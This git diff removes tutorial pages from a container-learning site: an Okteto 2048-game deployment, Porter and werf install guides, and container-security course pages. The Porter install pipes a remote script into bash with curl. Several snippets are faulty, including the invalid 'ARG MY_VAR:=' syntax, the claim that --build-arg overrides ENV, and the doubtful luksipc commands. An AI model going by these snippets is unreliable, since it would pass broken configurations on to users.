docker.io/sangam14/okteto-2048-game:okteto - context: . -deploy: -- kubectl apply -f 2048.yaml -``` - -// active developement mode on container -``` -dev: - nginx-deployment: - command: bash - sync: - - 2048/:/usr/share/nginx/html - interface: 0.0.0.0 - forward: - - 80:80 - -``` - -### Build and Deploy Okteto App - -``` -➜ Okteto-2048 git:(main) ✗ okteto deploy --build - i Using sangam14 @ cloud.okteto.com as context - i Building 'Dockerfile' in tcp://buildkit.cloud.okteto.net:443... -[+] Building 8.0s (8/8) FINISHED - => [internal] load .dockerignore 0.6s - => => transferring context: 2B 0.5s - => [internal] load build definition from buildkit-576543900 0.9s - => => transferring dockerfile: 179B 0.8s - => [internal] load metadata for docker.io/library/nginx:latest 1.8s - => [1/3] FROM docker.io/library/nginx@sha256:2ab30d6ac53580a6db8b657abf0f68d75360ff5cc1670a85acb5bd85ba1b19c0 0.0s - => => resolve docker.io/library/nginx@sha256:2ab30d6ac53580a6db8b657abf0f68d75360ff5cc1670a85acb5bd85ba1b19c0 0.0s - => [internal] load build context 2.5s - => => transferring context: 604.24kB 2.4s - => CACHED [2/3] RUN chmod +x /usr/sbin/nginx 0.0s - => [3/3] COPY 2048 /usr/share/nginx/html 0.2s - => exporting to image 2.2s - => => exporting layers 0.1s - => => exporting manifest sha256:e7348f570cd90c473ff5e0707836843c092fb458809d211b8903ac2313725399 0.0s - => => exporting config sha256:67e7d8f2c044e9aa85651fdff97f15477cf7f32372315f94ef6c1d498f408fbf 0.0s - => => pushing layers 1.9s - => => pushing manifest for docker.io/sangam14/okteto-2048-game:okteto@sha256:e7348f570cd90c473ff5e0707836843c092fb 0.2s - ✓ Image 'docker.io/sangam14/okteto-2048-game:okteto' successfully pushed - i Running 'kubectl apply -f 2048.yaml' -deployment.apps/nginx-deployment configured -service/nginx-service configured - -``` - -### Build and Deploy Okteto App - - - -``` -➜ Okteto-2048 git:(main) ✗ okteto up nginx-deployment - i Using sangam14 @ cloud.okteto.com as context - i Images were already built. To rebuild your images run 'okteto build' or 'okteto deploy --build' - i Running 'kubectl apply -f 2048.yaml' -deployment.apps/nginx-deployment unchanged -service/nginx-service configured - i Images were already built. To rebuild your images run 'okteto build' or 'okteto deploy --build' - ✓ Client certificates generated -Installing dependencies... -syncthing-macos-arm64-v1.23.1.zip 9.38 MiB / 9.38 MiB [-------------------------------------------] 100.00% 10.11 MiB p/s - ✓ Dependencies successfully installed - i '.stignore' doesn't exist in folder '/Users/sangambiradar/Documents/GitHub/Okteto-2048/2048'. - i Okteto requires a '.stignore' file to ignore file patterns that help optimize the synchronization service. - ? Do you want to infer defaults for the '.stignore' file? (otherwise, it will be left blank) [Y/n]: y - ✓ Persistent volume successfully attached - ✓ Images successfully pulled - ✓ Files synchronized - Context: cloud.okteto.com - Namespace: sangam14 - Name: nginx-deployment - Forward: 8080 -> 8081 - -root@nginx-deployment-okteto-6ff5f788c4-59wwn:/# ls -bin dev docker-entrypoint.sh home lib64 mnt proc run srv tmp var -boot docker-entrypoint.d etc lib media opt root sbin sys usr -root@nginx-deployment-okteto-6ff5f788c4-59wwn:/# cd usr/share/nginx/html -root@nginx-deployment-okteto-6ff5f788c4-59wwn:/usr/share/nginx/html# ls -CONTRIBUTING.md favicon.ico index.html js meta style -root@nginx-deployment-okteto-6ff5f788c4-59wwn:/usr/share/nginx/html# cat index.html - - - - - 2048 on Okteto Cloud - - - - - - - - - - - - - - -
-
-

2048

-
-
0
-
0
-
-
- -
-

Join the numbers and get to the 2048 tile!

- New Game -
- -
-
-

- -
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
- -
-
- -

- How to play: Use your arrow keys to move the tiles. When two tiles with the same number touch, they merge into one! -

-
-

- Note: This site is the official version of 2048. You can play it on your phone via http://git.io/2048. All other apps or sites are derivatives or fakes, and should be used with caution. -

-
-

- Created by Gabriele Cirulli. Based on 1024 by Veewo Studio and conceptually similar to Threes by Asher Vollmer. -

-
- - - - - - - - - - - - - -root@nginx-deployment-okteto-6ff5f788c4-59wwn:/usr/share/nginx/html# touch index1.html -root@nginx-deployment-okteto-6ff5f788c4-hkv5v:/usr/share/nginx/html# echo "sangam" > index1.html -root@nginx-deployment-okteto-6ff5f788c4-hkv5v:/usr/share/nginx/html# cat index1.html -sangam -``` -### you can see change on your endpoints - -https://nginx-service-sangam14.cloud.okteto.net/index1.html - -![](./index1.png) - -Github Source code for above demo : -{{< rawhtml >}} -
-{{< /rawhtml >}} - -Join [CloudNativeFolks Community](https://discord.gg/rEvr7vq) or Reach out to me on twitter [@sangamtwts](https://twitter.com/sangamtwts) - diff --git a/content/en/blog/okteto/index1.png b/content/en/blog/okteto/index1.png deleted file mode 100644 index fab0e0a..0000000 Binary files a/content/en/blog/okteto/index1.png and /dev/null differ diff --git a/content/en/blog/okteto/okteto-2048-game.png b/content/en/blog/okteto/okteto-2048-game.png deleted file mode 100644 index f8399e5..0000000 Binary files a/content/en/blog/okteto/okteto-2048-game.png and /dev/null differ diff --git a/content/en/blog/okteto/okteto-UI.png b/content/en/blog/okteto/okteto-UI.png deleted file mode 100644 index 8f6f25a..0000000 Binary files a/content/en/blog/okteto/okteto-UI.png and /dev/null differ diff --git a/content/en/blog/okteto/okteto-login.png b/content/en/blog/okteto/okteto-login.png deleted file mode 100644 index 008b734..0000000 Binary files a/content/en/blog/okteto/okteto-login.png and /dev/null differ diff --git a/content/en/blog/okteto/okteto.png b/content/en/blog/okteto/okteto.png deleted file mode 100644 index 24ab1a4..0000000 Binary files a/content/en/blog/okteto/okteto.png and /dev/null differ diff --git a/content/en/blog/porter/readme.md b/content/en/blog/porter/readme.md deleted file mode 100644 index 2699161..0000000 --- a/content/en/blog/porter/readme.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title : Porter - Create an installer bundling your application, client tools, configuration, and deployment logic for easy distribution and execution with a single command -author : Sangam Biradar -categories : - - Kubernetes -weight : 50 -description : Cloud Native Bundle for Developer -draft : false -Date : 2023-02-18 -author : Sangam Biradar ---- - - -#### Porter - Create an installer bundling your application, client tools, configuration, and deployment logic for easy distribution and execution with a single command - -Porter is a CNCF project implementing the CNAB specification. It provides a CLI and Kubernetes Operator to create, publish, install, and maintain CNABs. Porter provides a consistent, platform-agnostic way to deploy and manage cloud native applications, making it easier to automate and manage the lifecycle of your applications - - - CNAB, or Cloud-Native Application Bundle, is an open standard for packaging and distributing cloud-native applications and their dependencies across various platforms. It simplifies the deployment process, enhances security through digital signatures, and promotes interoperability across different environments, making it easier to manage complex cloud-native applications. - - -#### Install Porter - -``` -➜ export VERSION="v1.0.14" -curl -L https://cdn.porter.sh/$VERSION/install-mac.sh | bash - % Total % Received % Xferd Average Speed Time Time Time Current - Dload Upload Total Spent Left Speed - 0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0 -100 1204 100 1204 0 0 518 0 0:00:02 0:00:02 --:--:-- 2787 -Installing porter@v1.0.14 to /Users/sangambiradar/.porter from https://cdn.porter.sh -Installed porter v1.0.14 (0e739d88) -installed exec mixin v1.0.14 (0e739d88) -Installation complete. -Add porter to your path by adding the following line to your ~/.bash_profile or ~/.zprofile and open a new terminal: -export PATH=$PATH:~/.porter -➜ export PATH=$PATH:~/.porter -``` - -#### Initialize a New Porter Project - diff --git a/content/en/blog/werf/docker-desk.png b/content/en/blog/werf/docker-desk.png deleted file mode 100644 index 48c7f9d..0000000 Binary files a/content/en/blog/werf/docker-desk.png and /dev/null differ diff --git a/content/en/blog/werf/index.md b/content/en/blog/werf/index.md deleted file mode 100644 index 41725f6..0000000 --- a/content/en/blog/werf/index.md +++ /dev/null @@ -1,345 +0,0 @@ ---- -title : Werf A solution for implementing efficient and consistent software -author : Sangam Biradar -categories : - - Kubernetes -weight : 60 -description : Reduce Inner Loop focus on Developing Application -draft : false -Date : 2023-02-19 -author : Sangam Biradar ---- - -{{< rawhtml >}} -
-
-{{< /rawhtml >}} -#### Install Werf - - - -```bash -➜ ~ curl -sSLO https://werf.io/install.sh && chmod +x install.sh -➜ ~ ./install.sh --version 1.2 --channel stable -[INPUT REQUIRED] Current login shell is "zsh". Press ENTER to setup werf for this shell or choose another one. -[b]ash/[z]sh/[a]bort? Default: zsh. -z -[INPUT REQUIRED] trdl is going to be installed in "/Users/sangambiradar/bin/". Add this directory to your $PATH in "/Users/sangambiradar/.zshrc" and "/Users/sangambiradar/.zprofile"? (strongly recommended) -[y]es/[a]bort/[s]kip? Default: yes. -yes -[INFO] Installing trdl to "/Users/sangambiradar/bin/". - -[INFO] Adding werf repo to trdl. -[INPUT REQUIRED] Add automatic werf activation to "/Users/sangambiradar/.zshrc" and "/Users/sangambiradar/.zprofile"? (recommended for interactive usage, not recommended for CI) -[y]es/[a]bort/[s]kip? Default: yes. -[INFO] werf installation finished successfully! -[INFO] Open new shell session if you have enabled werf autoactivation or activate werf manually with: -$ source $("/Users/sangambiradar/bin/trdl" use werf "1.2" "stable") -``` - -### werf use trdl - -trdl is an Open Source solution providing a secure channel for delivering updates from the Git repository to the end user. - - -![](./trdl.png) - -Problems that trdl solves for you -- Continuous delivery limitations - - Continuous delivery via the CI system works well for the SaaS model, that is, for software - - hosted on cloud servers. At the same time, you would be hard-pressed to find a tool that is as fast at delivering code to user devices. - -- Challenges related to implementing a secure delivery - - What complicates things: - - Software release and changes in release channels must only occur based on a collective decision of the team (quorum). - - The system must protect against unauthorized access and data compromise. - - The system must not be compromised by human mistakes, including regulation breaches. - -- Package manager limitations - - There are many package managers, but they all have common drawbacks: - - Each platform requires its own manager. - - The package creation process is complicated. - - There is a lot of manual work involved: the user has to add the package source, find the package, and install/upgrade/uninstall it. - - - -### verify werf cli installed or not - -``` -➜ ~ werf -werf helps to implement and support Continuous Integration and Continuous -Delivery. - -Find more information at https://werf.io - -Delivery commands: - converge Build and push images, then deploy application into Kubernetes - dismiss Delete werf release from Kubernetes - bundle Work with werf bundles: publish bundles into container - registry and deploy bundles into Kubernetes cluster - -Cleaning commands: - cleanup Cleanup project images in the container registry - purge Purge all project images in the container registry - -Helper commands: - ci-env Generate werf environment variables for specified CI system - build Build images - export Export images - run Run container for project image - kube-run Run container for project image in Kubernetes - compose Work with docker-compose - slugify Print slugged string by specified format. - render Render Kubernetes templates - -Low-level management commands: - config Work with werf.yaml - managed-images Work with managed images which will be preserved during - cleanup procedure - host Work with werf cache and data of all projects on the host - machine - helm Manage application deployment with helm - cr Work with container registry: authenticate, list and remove - images, etc. - kubectl kubectl controls the Kubernetes cluster manager - -Other commands: - synchronization Run synchronization server - completion Generate bash completion scripts - version Print version - -Use "werf --help" for more information about a given command. - -Version: v1.2.205 -➜ ~ -``` -### Setup Minikube for Werf - -``` - ~ minikube start --vm=true --insecure-registry registry.example.com:80 -😄 minikube v1.30.0 on Darwin 13.3 (arm64) -✨ Automatically selected the qemu2 driver. Other choices: virtualbox, ssh -🌐 Automatically selected the builtin network -❗ You are using the QEMU driver without a dedicated network, which doesn't support `minikube service` & `minikube tunnel` commands. -To try the dedicated network see: https://minikube.sigs.k8s.io/docs/drivers/qemu/#networking -💿 Downloading VM boot image ... - > minikube-v1.30.0-arm64.iso....: 65 B / 65 B [---------] 100.00% ? p/s 0s - > minikube-v1.30.0-arm64.iso: 330.67 MiB / 330.67 MiB 100.00% 16.06 MiB p -👍 Starting control plane node minikube in cluster minikube -💾 Downloading Kubernetes v1.26.3 preload ... - > preloaded-images-k8s-v18-v1...: 330.52 MiB / 330.52 MiB 100.00% 16.66 M -🔥 Creating qemu2 VM (CPUs=2, Memory=4000MB, Disk=20000MB) ... -🐳 Preparing Kubernetes v1.26.3 on Docker 20.10.23 ... - ▪ Generating certificates and keys ... - ▪ Booting up control plane ... - ▪ Configuring RBAC rules ... -🔗 Configuring bridge CNI (Container Networking Interface) ... - ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5 -🔎 Verifying Kubernetes components... -🌟 Enabled addons: storage-provisioner, default-storageclass -🏄 Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default - -``` -`--insecure-registry` allows usage of Container Registry without TLS. - -### add on NGINX Ingress Controller & Container Registry to store images : - -``` -➜ ~ minikube addons enable ingress -💡 ingress is an addon maintained by Kubernetes. For any concerns contact minikube on GitHub. -You can view the list of minikube maintainers at: https://github.com/kubernetes/minikube/blob/master/OWNERS - ▪ Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20230312-helm-chart-4.5.2-28-g66a760794 - ▪ Using image registry.k8s.io/ingress-nginx/controller:v1.7.0 - ▪ Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20230312-helm-chart-4.5.2-28-g66a760794 -🔎 Verifying ingress addon... -🌟 The 'ingress' addon is enabled -➜ ~ minikube addons enable registry -💡 registry is an addon maintained by Google. For any concerns contact minikube on GitHub. -You can view the list of minikube maintainers at: https://github.com/kubernetes/minikube/blob/master/OWNERS - ▪ Using image gcr.io/google_containers/kube-registry-proxy:0.4 - ▪ Using image docker.io/registry:2.8.1 -🔎 Verifying registry addon... -🌟 The 'registry' addon is enabled -``` - -### Create Ingress to access Container Registry: - -``` -ubectl apply -f - << EOF ---- -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: registry - namespace: kube-system - annotations: - nginx.ingress.kubernetes.io/proxy-body-size: "0" -spec: - rules: - - host: registry.example.com - http: - paths: - - path: / - pathType: Prefix - backend: - service: - name: registry - port: - number: 80 -EOF - -``` - -### Allow usage of Container Registry without TLS for docker: - - -``` -{ - "insecure-registries" : ["registry.example.com:80"] -} -``` -add above configuration key -![](./docker-desk.png) - -``` -➜ ~ minikube start --vm=true --insecure-registry registry.example.com:80 -😄 minikube v1.30.0 on Darwin 13.3 (arm64) -✨ Using the qemu2 driver based on existing profile -👍 Starting control plane node minikube in cluster minikube -🏃 Updating the running qemu2 "minikube" VM ... -🐳 Preparing Kubernetes v1.26.3 on Docker 20.10.23 ... -🔎 Verifying ingress addon... - ▪ Using image docker.io/registry:2.8.1 -🔎 Verifying Kubernetes components... - ▪ Using image gcr.io/google_containers/kube-registry-proxy:0.4 -🔎 Verifying registry addon... -🌟 Enabled addons: storage-provisioner, ingress, default-storageclass, registry -🏄 Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default - -``` - -### update hostfile and registry name - -``` - ~ echo "$(minikube ip) vote.quickstart-application.example.com result.quickstart-application.example.com registry.example.com" | sudo tee -a /etc/hosts -Password: -10.0.2.15 vote.quickstart-application.example.com result.quickstart-application.example.com registry.example.com -~ minikube ssh -- "echo $(minikube ip) registry.example.com | sudo tee -a /etc/hosts" -10.0.2.15 registry.example.com - -``` - -### lets test out simple voting app - -``` -➜ ~ git clone https://github.com/werf/quickstart-application -cd quickstart-application -Cloning into 'quickstart-application'... -remote: Enumerating objects: 1279, done. -remote: Total 1279 (delta 0), reused 0 (delta 0), pack-reused 1279 -Receiving objects: 100% (1279/1279), 1.05 MiB | 5.09 MiB/s, done. -Resolving deltas: 100% (515/515), done. - -``` - -#### we have voting , result and working dockerfile in werf.yaml - -``` - quickstart-application git:(main) cat werf.yaml -configVersion: 1 -project: quickstart-application ---- -image: vote -dockerfile: Dockerfile -context: vote ---- -image: result -dockerfile: Dockerfile -context: result ---- -image: worker -dockerfile: Dockerfile -context: worker - -``` - -### werf converge - -``` -werf converge --repo registry.example.com:80/quickstart-application -Version: v1.2.205 -Using werf config render file: /private/var/folders/xy/3ssjv1j152x3_0ryt4yb982c0000gn/T/werf-config-render-1406655825 - -┌ Concurrent builds plan (no more than 5 images at the same time) -│ Set #0: -│ - ⛵ image vote -│ - ⛵ image result -│ - ⛵ image worker -└ Concurrent builds plan (no more than 5 images at the same time) - -┌ ⛵ image vote -│ ┌ Copy suitable stage from secondary :local -│ │ Use cache image for vote/dockerfile -│ │ name: registry.example.com:80/quickstart-application:08900098c0a1a06586f8909a6b77927db90bbd21b5a089330ccd6e35-1680637511061 -│ │ id: 2cb9949aa002 -│ │ created: 2023-04-05 01:15:10 +0530 IST -│ │ size: 51.2 MiB -│ └ Copy suitable stage from secondary :local (33.85 seconds) -└ ⛵ image vote (111.86 seconds) - -┌ ⛵ image result -│ ┌ Copy suitable stage from secondary :local -│ │ Use cache image for result/dockerfile -│ │ name: registry.example.com:80/quickstart-application:78557a576585e3acba6868f3d28b70b601affb6364e377918b355f8b-1680637519961 -│ │ id: c14efe2c5cae -│ │ created: 2023-04-05 01:15:19 +0530 IST -│ │ size: 53.0 MiB -│ └ Copy suitable stage from secondary :local (43.51 seconds) -└ ⛵ image result (91.21 seconds) - -┌ ⛵ image worker -│ ┌ Copy suitable stage from secondary :local -│ │ Use cache image for worker/dockerfile -│ │ name: registry.example.com:80/quickstart-application:f5eab243c67a973041e7f92ee9f5ff39d0d671536814a10bac957e82-1680637550923 -│ │ id: 74a6e53feb05 -│ │ created: 2023-04-05 01:15:50 +0530 IST -│ │ size: 74.2 MiB -│ └ Copy suitable stage from secondary :local (33.76 seconds) -└ ⛵ image worker (96.56 seconds) - -Release "quickstart-application" does not exist. Installing it now. - -┌ Waiting for resources to become ready -│ ┌ Status progress -│ │ DEPLOYMENT REPLICAS AVAILABLE UP-TO-DATE -│ │ db 1/1 0 1 -│ │ │ POD READY RESTARTS STATUS --- -│ │ └── 6676664f7d-sz6ct 0/1 0 ContainerCreating Waiting for: available 0->1 -│ │ redis 1/1 0 1 -│ │ result 1/1 0 1 -│ │ vote 1/1 0 1 ↵ -│ │ -│ │ worker 1/1 0 1 -│ │ │ POD READY RESTARTS STATUS --- -│ │ └── 77b4769cd4-qlhkm 0/1 0 ContainerCreating Waiting for: available 0->1 -│ │ RESOURCE NAMESPACE CONDITION: CURRENT (DESIRED) -│ │ Service/vote quickstart-application - -│ │ Service/db quickstart-application - -│ │ Service/redis quickstart-application - -│ │ Service/result quickstart-application - ↵ -│ │ -│ │ Ingress/quickstart-application quickstart-application - -│ └ Status progress -│ - -``` - -you will see results -- Go to the following URL to vote: vote.quickstart-application.example.com -- Go to the following URL to check the result of voting: result.quickstart-application.example.com - - -for more example check it out : https://werf.io/documentation/v1.2/usage/deploy/overview.html - - -Join [CloudNativeFolks Community](https://discord.gg/rEvr7vq) or Reach out to me on twitter [@sangamtwts](https://twitter.com/sangamtwts) diff --git a/content/en/blog/werf/trdl.png b/content/en/blog/werf/trdl.png deleted file mode 100644 index 1333a4a..0000000 Binary files a/content/en/blog/werf/trdl.png and /dev/null differ diff --git a/content/en/blog/werf/werf.png b/content/en/blog/werf/werf.png deleted file mode 100644 index bef5fd7..0000000 Binary files a/content/en/blog/werf/werf.png and /dev/null differ diff --git a/content/en/containersecurity/_overview.md b/content/en/containersecurity/_overview.md deleted file mode 100644 index 7d04db3..0000000 --- a/content/en/containersecurity/_overview.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Container Security -url: "containersecurity/overview" -aliases: -- "/containersecurity" ---- - -### Table of Content -| Title | Link | -| --------- | ------- | -| 1.What is container? |[lab](https://kubedaily.com/docs/0.0.1/container-security/what-is-container/) | -|2.Container vs. Virtualization|[lab](http://localhost:1313/docs/0.0.1/container-security/containervsvm/)| -|3.Container Advantage and Disadvantages| [lab](https://kubedaily.com/docs/0.0.1/container-security/container-adv-dis/)| -|4.Namespaces| [lab](https://kubedaily.com/docs/0.0.1/container-security/namespaces/)| -|5.Cgroups| |[lab](https://kubedaily.com/docs/0.0.1/container-security/cgroup/) | -|6.Capabilities|[lab](https://kubedaily.com/docs/0.0.1/container-security/capabilities/) | -|7.Docker architecture and its components|[lab](https://kubedaily.com/docs/0.0.1/container-security/docker-architecture/) | -|8.Interacting with container ecosystem|[lab](https://kubedaily.com/docs/0.0.1/container-security/intracting-with-container/) | -|9.Attack surface of the container ecosystem| [lab](https://kubedaily.com/docs/0.0.1/container-security/attack-surface/) | -|10.Environment variables|[lab](https://kubedaily.com/docs/0.0.1/container-security/envir-variables/) | -|11.Docker volumes|[lab](https://kubedaily.com/docs/0.0.1/container-security/docker-volumes/) | -|12.Docker Networking|[lab](https://kubedaily.com/docs/0.0.1/container-security/docker-networking/)| -|13.Auditing Docker Security|[lab](https://kubedaily.com/docs/0.0.1/container-security/auditing-docker-sec/) | -|14.Container Image Security|[lab](https://kubedaily.com/docs/0.0.1/container-security/container-image-security/) | -|15.DockerFile Security Best Practices|[lab](https://kubedaily.com/docs/0.0.1/container-security/dockerfile-security/) | -|16.SecretScanner - Finding secrets and passwords in container images and file systems | [lab](https://kubedaily.com/docs/0.0.1/container-security/secretscanner/)| -|17.YaraHunter - Malware Scanner for Container Images|[lab](https://kubedaily.com/docs/0.0.1/container-security/yarahunter/) | -|18.Security Linting of Dockerfiles| [lab](https://kubedaily.com/docs/0.0.1/container-security/security-linting-dockerfile/)| -|19.Static Analysis of container images/library for container|[lab](https://kubedaily.com/docs/0.0.1/container-security/packetscanner/) | -|20.Docker host security configurations|[lab](https://kubedaily.com/docs/0.0.1/container-security/seccomp-apparmor/) | -|21.Docker Daemon security configurations|[lab](https://kubedaily.com/docs/0.0.1/container-security/docker-daemon-sec/) | -|22.Content Trust and Integrity checks|[lab](https://kubedaily.com/docs/0.0.1/container-security/dct/) | -|23.Docker Registry security configurations|[lab](https://kubedaily.com/docs/0.0.1/container-security/docker-registry/) | -|24. DockerScan |[lab](https://kubedaily.com/docs/0.0.1/container-security/dockerscan/) | -|25.Dive|[lab](https://kubedaily.com/docs/0.0.1/container-security/dive/) | -|26.Scanning Docker for vulnerabilities with ThraetMappeper|[lab](https://kubedaily.com/docs/0.0.1/container-security/threatmapper-app/) | -|27.Docker events|[lab](https://kubedaily.com/docs/0.0.1/container-security/docker-events/) | -|28.Sock Shop Docker Compose & Weave|[lab](https://kubedaily.com/docs/0.0.1/container-security/sock-shop-weave/)| - - -What next - -- [Kubernetes Workshop](https://kubedaily.com/docs/0.0.1/k8s/) diff --git a/content/en/containersecurity/b1.what-is-container.md b/content/en/containersecurity/b1.what-is-container.md deleted file mode 100644 index ed76a21..0000000 --- a/content/en/containersecurity/b1.what-is-container.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: "What is container?" -description: "The introduction to this course." -slug: "what-is-container?" ---- - - -> what is container ? - -- A container is full package (or) grouping of an entire runtime enviroment of an application ncluding its binaries, the runtime to run the application, System related tools, System libraries, Settings, and configurations. - -thats the defination come to mind when you learn ? to better understanding we need to go back to Operating Syatem basics and how its work - -when a program?process is running on your computer it gives a call to kernel using SystemCall End Point whatever it needs to access any of the - -- hardwore resources like - - memory - - file system( hard disk ) - - CPU cycles - - Internet - - Bandwidth and I/O - - User Permission and privileges etc - -![](./images/OS-working.png) - -> What, If we want to Isolate a Single Program to run on virtual space or Environment? - -Let’s say I want to run chrome in a Virtual environment within the machine with its own CPU cycles, Memory, Hard Disk Space, Bandwidth, Users, Internet Usage etc. - -Something like shown in the following picture. A marked Space or Group. - -![](./images/OS-working-1.jpg) - -Is it possible? Yes, it is - -> Isolating the System Resources per process or group of Processes is called Name Spacing. and Limiting and Regulating the System resource allocation to the isolated process/procesesses is called Control Groups(Cgroups) - -> A coalesced(combined) product of Control Groups and Name Spacing with Process level isolation is called as Containerization or a Container - -> To be more clear. In the preceding diagram, The area or grouping, Marked in Red dotted lines is called as a Container. - -The following Diagram explains what is Name Spacing and Control Groups and their scope of responsibilities. - -![](./images/cgroup-namespace.png) - -What is inside a Container - -As we said just before, A Container a Collection of following elements - -- Program Binaries/configuration -- Runtime libraries -- Dependency Products/tools -- A Piece of Kernal -- System Resources - - Hard Disk - - Memory - - I/O - - Network - - CPU - -![](./images/container-skeleton.png) - -As we are isolating the program and dedicatedly providing its own system resources and runtime libraries. It can run alone as a Standalone application (or) infrastructure - -![](./images/tenor.gif) - -“It was working fine in my laptop or machine” - -" Yes. It might have worked in the laptop (or) DEV, but that’s not enough for it to work in PROD or at least not the same way it’s working in DEV. " - - - diff --git a/content/en/containersecurity/b10.Envir-variables.md b/content/en/containersecurity/b10.Envir-variables.md deleted file mode 100644 index 59eca66..0000000 --- a/content/en/containersecurity/b10.Envir-variables.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: "Environment variables " -description: "Environment variables" -slug: "Environment-variables" ---- - -Environment variables -example of using an environment variable in a Dockerfile: - -``` -FROM alpine:latest -# Set an environment variable -ENV MY_VAR "Hello World" -# Use the environment variable in a command -RUN echo $MY_VAR > /app/output.txt -CMD ["cat", "/app/output.txt"] -``` - -In this example, the environment variable MY_VAR is set to the value "Hello World". This variable is then used in the RUN command to create an output.txt file with the contents "Hello World". - -To build the Docker image using this Dockerfile, you can use the following command: - -``` -docker build -t my-image . -``` - -You can also set the value of the environment variable when you build the image using the `--build-arg` flag: - -``` -docker build -t my-image --build-arg MY_VAR=Goodbye . -``` - -This will set the value of MY_VAR to "Goodbye" when the image is built. - -It is also a good idea to use default values for environment variables in your Dockerfile. This way, if the variable is not set when the image is built, it will use the default value. You can do this by using the ARG directive in your Dockerfile and then using the := operator to set the default value: - -``` -FROM alpine:latest -# Set a default value for the environment variable -ARG MY_VAR:=Hello World -# Use the environment variable in a command -RUN echo $MY_VAR > /app/output.txt -CMD ["cat", "/app/output.txt"] -``` - -In this example, if the value of MY_VAR is not set when the image is built, it will default to the value "Hello World". diff --git a/content/en/containersecurity/b11.Docker-volumes.md b/content/en/containersecurity/b11.Docker-volumes.md deleted file mode 100644 index b50a3ba..0000000 --- a/content/en/containersecurity/b11.Docker-volumes.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: "Docker volumes " -slug: "docker-volumes" ---- - -Docker volumes -# How to create encrypted data volume - - -Create a Docker volume using the docker volume create command, for example: - -``` -$ docker volume create encrypted_volume -``` - -Create a Docker container that will be used to create the encrypted volume. For this, you can use a tool like luksipc, which allows you to create a LUKS-encrypted file within a container. - -Run the `luksipc`container with the `--volume` flag to specify the Docker volume you want to encrypt. For example: - -``` -$ docker run --rm -it --volume encrypted_volume:/volume luksipc create -``` - -Follow the prompts to create the encrypted volume. You will be asked to specify a passphrase that will be used to encrypt and decrypt the volume. - -Once the volume is created, you can use it like any other Docker volume. For example, you can mount it to a container using the -v flag: - -``` -$ docker run --rm -it -v encrypted_volume:/data ubuntu bash - -``` - -To decrypt the volume, you can use the `luksipc` container again and specify the unlock command. You will be prompted for the passphrase you specified when creating the volume: - -``` -$ docker run --rm -it --volume encrypted_volume:/volume luksipc unlock - -``` - -You can then access the decrypted data within the volume from within the container. -Note: This is just one example of how to create an encrypted Docker volume. There are other tools and methods available that you can use to achieve the same result. \ No newline at end of file diff --git a/content/en/containersecurity/b12.Docker-Networking.md b/content/en/containersecurity/b12.Docker-Networking.md deleted file mode 100644 index 9f83465..0000000 --- a/content/en/containersecurity/b12.Docker-Networking.md +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: "Docker Networking " -description: " Docker Networking " -slug: "docker-networking" ---- - -## Docker Networking - -The Container Netwotk Model (CNM) is the design document for Docker Networking which is implemented via 'libnetwork' in golang - -- Sandbox - isolated network stavk -- Endpount - Virtual Ethernet Interfece -- Network - Virtual Switch (bridge) - - -Note - Libnetwork -> implemenrs the control and management plane functions - -Network Specific Drivers -> implemenrs the data plane while also handling the connectivity and isolation - - -# Docker Native Network Drivers - -- Bridge - uses a software bridge whicha allows containers connected to the same bridge network to communicate - -- Host - Connects the docker host and containers to use hosts networking directly - -- Overlay - used for multi-host networking which allows a single network to span multiple hosts such that containers on diffenet hosts can communicate at layer 2 - - -- Macvlan - Useful for lagacy and monitor apps which expect to directly conneted to physical network -as it assigns completely the networkinh stack on container . No IP will be configuared with this driver - - -# Docker Networking ( Hands-on ) - -``` -$ docker network --help - -``` -1. check what networks are already present in the docker by default - -``` -$ dokcer run -itd --name netcon ubuntu /bin/bash -``` -check for the network placement of this container in the above networks. We see that by default all containers got attached to bridge network using `network inspect command ` this could be done - -``` -$ docker network inspect bridge -``` - -In the `Container ` option abobe the information about container name , IPv4 etc present - -Run another container `net2con` from busybox image and check its network placement same as above - -``` -docker run -itd --name net2con busybox /bin/bash -``` - -lets us now run nginx container as `net3con-web` with exposed port - -``` -docker run -itd --name net3con-web -p 5000:80 nginx - -``` - -to check for the port correctly setup and exposed , one can use `port ` command followed by container name . - -``` - -docker port net3con-web -``` - -to visualize only the relavant information which is the ` Containers` block from `inspect` command output use `-f` option to format the JSON and parse it via `jq` ulaitity - -``` -docker network inspect bridege -f "{{json.Containers}}" | jq -``` - -one can also oberserve the associated `bridge.id` to `docker0` default bridge with all the containers attached via `vethxxxxxx` virtual ethernet interfces - -``` -$brctl show -``` - -# concusion - -Cgroups and Namespaces provides essential isolation and limits the container resources. This is highly valuable for the Docker host system in case of DoS Attacks wherein if resources are set minimally, less harm will be there. For resource isolation, feel free to look over to the Linux 'cgcreate', 'cgdelete', 'cgset' and related parameters like 'cpuset', 'cpuacct', etc. Running containers and walking around the namespaces, cgroups, container networking - - - diff --git a/content/en/containersecurity/b13.Auditing-docker-sec.md b/content/en/containersecurity/b13.Auditing-docker-sec.md deleted file mode 100644 index 5ae3497..0000000 --- a/content/en/containersecurity/b13.Auditing-docker-sec.md +++ /dev/null @@ -1,501 +0,0 @@ ---- -title: "Auditing Docker Security " -slug: "Auditing-Docker-Security" ---- - -## Auditing Docker Security - -DOCKER BENCH FOR SECURITY - -Docker Bench for Security is an open source Bash script that checks for various common security best practices of deploying Docker in production environments. The tests are all automated and are based on the CIS Docker Benchmark. More information about Docker Bench for Security can be found -on GitHub: https://github.com/docker/docker-bench-security - - -## auditing docker security with docker bench for security - - -The auditing process can be performed by following the procedures outlined below: - -You first need to clone the docker/docker-bench-security GitHub repository on your Docker host. This can be done by running the following command: - - -``` -git clone https://github.com/docker/docker-bench-security.git -``` -After cloning the repository, you will need to navigate into the docker-bench-security repository that you just 